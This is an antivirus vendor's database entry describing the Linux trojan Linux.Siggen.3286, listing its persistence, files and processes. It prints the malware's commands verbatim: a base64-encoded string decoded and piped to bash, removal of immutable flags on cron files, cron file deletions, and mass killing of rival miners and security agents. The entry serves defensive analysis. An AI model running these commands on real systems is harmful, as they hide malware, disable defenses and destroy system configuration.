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Linux.Siggen.3286

Added to the Dr.Web virus database: 2020-08-11

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
Malicious functions:
Removes itself
Launches itself as a daemon
Substitutes application name for:
  • mwKLgk
Launches processes:
  • sh -c echo NGJ4VExWS1JXcUkxT1BoT0Y1aWxjYzlOSDZid1BFa0RVK1E2TCtQNzM2K0hVMjU5N2ZpanN3T1I4ZVBJVEdVYgpjaGF0dHIgLWkgL3RtcC8uWDExLXVuaXgKY2hhdHRyIC1SaSAvdG1wLy5YMTEtdW5peApbIC1mIC90bXAvLlgxMS11bml4IF0gJiYgcm0gLWYgL3RtcC8uWDExLXVuaXggClsgLWQgL3RtcC8uWDExLXVuaXggXSB8fCBta2RpciAtcCAvdG1wLy5YMTEtdW5peAo=|base64 -d|bash
  • base64 -d
  • bash
  • chattr -i /tmp/.X11-unix
  • chattr -Ri /tmp/.X11-unix
  • sh -c
  • xargs chattr -i
  • find /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/crontab /etc/cron.weekly
  • chattr -i /etc/cron.d /etc/cron.d/.placeholder /etc/cron.daily /etc/cron.daily/passwd /etc/cron.daily/aptitude /etc/cron.daily/mlocate /etc/cron.daily/logrotate /etc/cron.daily/apt /etc/cron.daily/bsdmainutils /etc/cron.daily/.placeholder /etc/cron.daily/dpkg /etc/cron.daily/man-db /etc/cron.daily/exim4-base /etc/cron.hourly /etc/cron.hourly/.placeholder /etc/cron.monthly /etc/cron.monthly/.placeholder /etc/crontab /etc/cron.weekly /etc/cron.weekly/.placeholder /etc/cron.weekly/man-db
  • find /var/spool/cron
  • chattr -i /var/spool/cron /var/spool/cron/atjobs /var/spool/cron/atjobs/.SEQ /var/spool/cron/atspool /var/spool/cron/crontabs
  • crontab -l
  • grep -ivE kill_virus|Miner|.\/oka|\/upd|\-unix|basht|nullc|tmp00|curl|wget|kpccv|xzfix|th2ps|bffbe|rvlss|wlvly|ucxin|ryuk
  • crontab -
  • xargs rm -f
  • cut -f 1 -d :
  • grep -iRE kill_virus|Miner|.\/oka|\/upd|\-unix|basht|nullc|tmp00|curl|wget|kpccv|xzfix|th2ps|bffbe|rvlss|wlvly|ucxin|ryuk /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly
  • rm -f /etc/cron.daily/mlocate /etc/cron.daily/mlocate /etc/cron.daily/apt
  • rm -f /etc/cron.d/0kpccv /etc/cron.d/0xzfix /etc/cron.d/0th2ps /etc/cron.d/0bffbe /etc/cron.d/0rvlss /etc/cron.d/0wlvly /etc/cron.d/0ucxin
  • pkill -9 -f ./cron|./oka|\-unix|/tmp/ddgs|/tmp/idk|/tmp/java|/tmp/keep|/tmp/udevs|/tmp/udk|/tmp/update.sh|/tmp/yarn|/usr/bin/netfs|8220|AliHids|AliYunDun|descargars|Donald|HT8s|Jonason|salt-store|salt-minion|SzdXM|X13-unix|X17-unix|\[stea\]|aegis_|AliYunDun|AliHids|AliHips|AliYunDunUpdatealiyun-service|azipl|bash64|bigd1ck|cr.sh|crloger|cronds|crun|cryptonight|curn|currn|ddgs|dhcleint|fs-manager|gf128mul|havegeds|httpdz|irqbalanced|java-c|kaudited|kdevtmpfsi|kerberods|khugepageds|kinsing|kintegrityds|kpsmouseds|kswaped|kthreadds|kthrotlds|kw0|kworkerds|kworkre|kwroker|lsof|Macron|mewrs|migrations|miner|mmm|mr.sh|muhsti|mygit|netdns|networkservice|orgfs|pamdicks|pastebin|qW3xT|qwefdas|rctlcli|sleep|stratum|sustes|sustse|sysguard|sysguerd|systeamd|systemd-network|sysupdate|sysupdata|t00ls|thisxxs|Trump|update.sh|vTtHH|watchbog|watchbug|watchog|wipefs|wnTKYg|x3Wq|xig|xmr|zer0
  • netstat -antp
  • grep -E
  • cut -d/ -f1
  • awk {print $NF}
  • xargs kill -9
  • kill -9
  • ss -antp
  • awk -
  • sed s/pid=//g
Kills the following processes:
  • cron
  • run.sh
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/cron/crontabs/tmp.SNy3Ua
Creates or modifies files:
  • /tmp/.X11-unix/00
  • /var/spool/cron/crontabs/tmp.SNy3Ua
Deletes files:
  • /etc/cron.daily/mlocate
  • /etc/cron.daily/apt
  • /etc/cron.d/0kpccv
  • /etc/cron.d/0xzfix
  • /etc/cron.d/0th2ps
  • /etc/cron.d/0bffbe
  • /etc/cron.d/0rvlss
  • /etc/cron.d/0wlvly
  • /etc/cron.d/0ucxin
Locks files:
  • /tmp/.X11-unix/00
Other:
Collects CPU information
Collects RAM information

Curing recommendations


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